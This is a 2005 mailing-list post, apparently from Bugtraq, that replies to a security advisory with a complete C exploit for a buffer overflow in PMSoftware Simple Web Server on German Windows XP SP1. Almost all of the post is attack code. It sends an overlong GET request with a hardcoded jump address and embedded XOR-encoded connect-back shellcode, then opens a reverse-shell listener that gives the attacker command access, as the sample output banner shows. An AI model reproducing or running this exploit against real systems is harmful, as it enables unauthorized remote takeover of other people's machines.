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Date: 19 Apr 2005 13:29:42 -0000
From: <cybertronic@....net>
To: bugtraq@...urityfocus.com
Subject: RE: ERNW Security Advisory 01/2005 [ EXPLOIT ]




/* 
 * 
 * PMSoftware Simple Web Server Buffer Overflow 
Exploit 
 * 
 * cybertronic[at]gmx[dot]net 
 * 04/19/2005 
 *               __              __                   
_ 
 *   _______  __/ /_  ___  _____/ /__________  ____  
(_)____ 
 *  / ___/ / / / __ \/ _ \/ ___/ __/ ___/ __ \/ __ 
\/ / ___/ 
 * / /__/ /_/ / /_/ /  __/ /  / /_/ /  / /
_/ / / / / / /__ 
 * \___/\__, /_.___/\___/_/   \__/_/   \____/_/ /_/_/
\___/ 
 *     /____/ 
 * 
 * --[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net 
 * --[ connecting to 192.168.2.101:80...done! 
 * --[ exploiting WinXP Pro SP1 GER 
 * --[ ret: 0x71a17bfb [ jmp esp in ws2_32.dll ] 
 * --[ sending GET request [ 543 bytes ]...done! 
 * --[ starting reverse handler [port: 31337]...done! 
 * --[ incomming connection from:  192.168.2.101 
 * --[ b0x pwned - h4ve phun 
 * Microsoft Windows XP [Version 5.1.2600] 
 * (C) Copyright 1985-2001 Microsoft Corp. 
 * 
 * C:\PMSoftware> 
 *  
 */ 
 
 
#include <stdio.h> 
#include <sys/socket.h> 
#include <netinet/in.h> 
#include <netdb.h> 
 
#define PORT 80 
 
#define RED		"\E[31m\E[1m" 
#define GREEN	"\E[32m\E[1m" 
#define YELLOW	"\E[33m\E[1m" 
#define BLUE	"\E[34m\E[1m" 
#define NORMAL	"\E[m" 
 
/* 
 * 
 * prototypes 
 * 
 */ 
 
int exploit ( int s, unsigned long xoredip, unsigned 
short xoredcbport ); 
int shell ( int s, char* tip, unsigned short 
cbport ); 
 
void header (); 
void start_reverse_handler ( char* argv3 ); 
 
/********************* 
* Windows Shellcode * 
*********************/ 
 
/* 
 * Type : connect back shellcode 
 * Length: 316 bytes 
 * CBIP : reverseshell[111] ( ^ 0x99999999 ) 
 * CBPort: reverseshell[118] ( ^ 0x9999 ) 
 * 
 */ 
 
unsigned char reverseshell[] = 
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B
\x99\xE2\xFA" 
"\xEB\x05\xE8\xEB\xFF\xFF\xFF\x70\x62\x99\x99\x99\xC6
\xFD\x38\xA9" 
"\x99\x99\x99\x12\xD9\x95\x12\xE9\x85\x34\x12\xF1\x91
\x12\x6E\xF3" 
"\x9D\xC0\x71\x02\x99\x99\x99\x7B\x60\xF1\xAA\xAB\x99
\x99\xF1\xEE" 
"\xEA\xAB\xC6\xCD\x66\x8F\x12\x71\xF3\x9D\xC0\x71\x1B
\x99\x99\x99" 
"\x7B\x60\x18\x75\x09\x98\x99\x99\xCD\xF1\x98\x98\x99
\x99\x66\xCF" 
"\x89\xC9\xC9\xC9\xC9\xD9\xC9\xD9\xC9\x66\xCF\x8D\x12
\x41\xF1\xE6" 
"\x99\x99\x98\xF1\x9B\x99\x9D\x4B\x12\x55\xF3\x89\xC8
\xCA\x66\xCF" 
"\x81\x1C\x59\xEC\xD3\xF1\xFA\xF4\xFD\x99\x10\xFF\xA9
\x1A\x75\xCD" 
"\x14\xA5\xBD\xF3\x8C\xC0\x32\x7B\x64\x5F\xDD\xBD\x89
\xDD\x67\xDD" 
"\xBD\xA4\x10\xC5\xBD\xD1\x10\xC5\xBD\xD5\x10\xC5\xBD
\xC9\x14\xDD" 
"\xBD\x89\xCD\xC9\xC8\xC8\xC8\xF3\x98\xC8\xC8\x66\xEF
\xA9\xC8\x66" 
"\xCF\x9D\x12\x55\xF3\x66\x66\xA8\x66\xCF\x91\xCA\x66
\xCF\x85\x66" 
"\xCF\x95\xC8\xCF\x12\xDC\xA5\x12\xCD\xB1\xE1\x9A\x4C
\xCB\x12\xEB" 
"\xB9\x9A\x6C\xAA\x50\xD0\xD8\x34\x9A\x5C\xAA\x42\x96
\x27\x89\xA3" 
"\x4F\xED\x91\x58\x52\x94\x9A\x43\xD9\x72\x68\xA2\x86
\xEC\x7E\xC3" 
"\x12\xC3\xBD\x9A\x44\xFF\x12\x95\xD2\x12\xC3\x85\x9A
\x44\x12\x9D" 
"\x12\x9A\x5C\x32\xC7\xC0\x5A\x71\x99\x66\x66\x66\x17
\xD7\x97\x75" 
"\xEB\x67\x2A\x8F\x34\x40\x9C\x57\x76\x57\x79\xF9\x52
\x74\x65\xA2" 
"\x40\x90\x6C\x34\x75\x60\x33\xF9\x7E\xE0\x5F\xE0"; 
 
/* 
 * 
 * functions 
 * 
 */ 
 
int 
exploit ( int s, unsigned long xoredip, unsigned 
short xoredcbport ) 
{ 
	char in[2048], request[1024]; 
	unsigned long jmpesp = 0x71a17bfb; //
ws2_32.dll WinXP Pro SP1 GER 
	 
	printf ( "--[ exploiting WinXP Pro SP1 GER
\n" ); 
	printf ( "--[ ret: 0x%08x [ jmp esp in 
ws2_32.dll ]\n", jmpesp ); 
	 
	memcpy ( &reverseshell[111], &xoredip, 4); 
	memcpy ( &reverseshell[118], &xoredcbport, 
2); 
	 
	bzero ( &request, sizeof ( request ) ); 
	request[0] = 0x47; 
	request[1] = 0x45; 
	request[2] = 0x54; 
	request[3] = 0x20; 
	request[4] = 0x2f; 
	memset ( request + 5, 0x41, 216 ); 
	strncat ( request, ( unsigned char* ) 
&jmpesp, 4 ); 
	memcpy ( request + 225, reverseshell, sizeof 
( reverseshell ) - 1 ); 
	strcat ( request, "\r\n" ); 
 
	printf ( "--[ sending GET request [ %d 
bytes ]...", strlen ( request ) ); 
	if ( write ( s, request, strlen ( request ) ) 
<= 0 ) 
	{ 
		printf ( "failed!\n" ); 
		return ( 1 ); 
	} 
	printf ( "done!\n" ); 
	return ( 0 ); 
} 
 
int 
shell ( int s, char* tip, unsigned short cbport ) 
{ 
	int n; 
	char buffer[2048]; 
	fd_set fd_read; 
 
	printf ( "--[" YELLOW " b" NORMAL "0" YELLOW 
"x " NORMAL "p" YELLOW "w" NORMAL "n" YELLOW "e" 
NORMAL "d " YELLOW "- " NORMAL "h" YELLOW "4" NORMAL 
"v" YELLOW "e " NORMAL "p" YELLOW "h" NORMAL "u" 
YELLOW "n" NORMAL "\n" ); 
 
	FD_ZERO ( &fd_read ); 
	FD_SET ( s, &fd_read ); 
	FD_SET ( 0, &fd_read ); 
 
	while ( 1 ) 
	{ 
		FD_SET ( s, &fd_read ); 
		FD_SET ( 0, &fd_read ); 
 
		if ( select ( s + 1, &fd_read, NULL, 
NULL, NULL ) < 0 ) 
			break; 
		if ( FD_ISSET ( s, &fd_read ) ) 
		{ 
			if ( ( n = recv ( s, buffer, 
sizeof ( buffer ), 0 ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( write ( 1, buffer, n ) < 
0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		if ( FD_ISSET ( 0, &fd_read ) ) 
		{ 
			if ( ( n = read ( 0, buffer, 
sizeof ( buffer ) ) ) < 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
			if ( send ( s, buffer, n, 0 ) 
< 0 ) 
			{ 
				printf ( "bye bye...
\n" ); 
				return; 
			} 
		} 
		usleep(10); 
	} 
} 
 
void 
header () 
{ 
	printf ( "              __              __                   
_           \n" ); 
	printf ( "  _______  __/ /_  ___  _____/ /
__________  ____  (_)____      \n" ); 
	printf ( " / ___/ / / / __ \\/ _ \\/ ___/ __/ 
___/ __ \\/ __ \\/ / ___/  \n" ); 
	printf ( "/ /__/ /_/ / /_/ /  __/ /  / /
_/ /  / /_/ / / / / / /__        \n" ); 
	printf ( "\\___/\\__, /_.___/\\___/_/   \\__/
_/   \\____/_/ /_/_/\\___/  \n" ); 
	printf ( "    /____/                                                     
\n\n" ); 
	printf ( "--[ exploit by : cybertronic - 
cybertronic[at]gmx[dot]net\n" ); 
} 
 
void 
start_reverse_handler ( char* argv3 ) 
{ 
	int s1, s2; 
	unsigned short cbport; 
	struct sockaddr_in cliaddr, servaddr; 
	socklen_t clilen = sizeof ( cliaddr ); 
 
	sscanf ( argv3, "%u", &cbport ); 
	 
	bzero ( &servaddr, sizeof ( servaddr ) ); 
	servaddr.sin_family = AF_INET; 
	servaddr.sin_addr.s_addr = htonl 
( INADDR_ANY ); 
	servaddr.sin_port = htons ( cbport ); 
 
	printf ( "--[ starting reverse handler [port: 
%u]...", cbport ); 
	if ( ( s1 = socket ( AF_INET, SOCK_STREAM, 
0 ) ) == -1 ) 
	{ 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	bind ( s1, ( struct sockaddr * ) &servaddr, 
sizeof ( servaddr ) ); 
	if ( listen ( s1, 1 ) == -1 ) 
	{ 
		printf ( "listen failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "done!\n" ); 
	if ( ( s2 = accept ( s1, ( struct sockaddr 
* ) &cliaddr, &clilen ) ) < 0 ) 
	{ 
		printf ( "accept failed!\n" ); 
		exit ( 1 ); 
	} 
	close ( s1 ); 
	printf ( "--[ incomming connection from:\t%s
\n", inet_ntoa ( cliaddr.sin_addr ) ); 
	shell ( s2, ( char* ) inet_ntoa 
( cliaddr.sin_addr ), cbport ); 
	close ( s2 ); 
} 
 
int 
main ( int argc, char* argv[] ) 
{ 
	int s; 
	unsigned long xoredip; 
	unsigned short cbport, xoredcbport; 
	struct sockaddr_in remote_addr; 
	struct hostent *host_addr; 
 
	if ( argc != 4 ) 
	{ 
		printf ( "Usage: %s <ip> <cbip> 
<cbport>\n", argv[0] ); 
		exit ( 1 ); 
	} 
	system ( "clear" ); 
	header (); 
	if ( ( host_addr = gethostbyname 
( argv[1] ) ) == NULL ) 
	{ 
		fprintf ( stderr, "cannot resolve \"%
s\"\n", argv[1] ); 
		exit ( 1 ); 
	} 
	remote_addr.sin_family = AF_INET; 
	remote_addr.sin_addr   = * ( ( struct in_addr 
* ) host_addr->h_addr ); 
	remote_addr.sin_port   = htons ( PORT ); 
	if ( ( s = socket ( AF_INET, SOCK_STREAM, 
0 ) ) < 0 ) 
    { 
		printf ( "socket failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "--[ connecting to %s:%u...", 
argv[1], PORT  ); 
	if ( connect ( s, ( struct sockaddr * ) 
&remote_addr, sizeof ( struct sockaddr ) ) ==  -1 ) 
	{ 
		printf ( "failed!\n" ); 
		exit ( 1 ); 
	} 
	printf ( "done!\n" ); 
	 
	xoredip = inet_addr ( argv[2] ) ^ ( unsigned 
long ) 0x99999999; 
	xoredcbport = htons ( atoi ( argv[3] ) ) ^ 
( unsigned short ) 0x9999; 
 
	if ( exploit ( s, xoredip, xoredcbport ) == 
1 ) 
	{ 
		printf ( "exploitation FAILED!\n" ); 
		exit ( 1 ); 
	} 
	start_reverse_handler ( argv[3] ); 
} 
 


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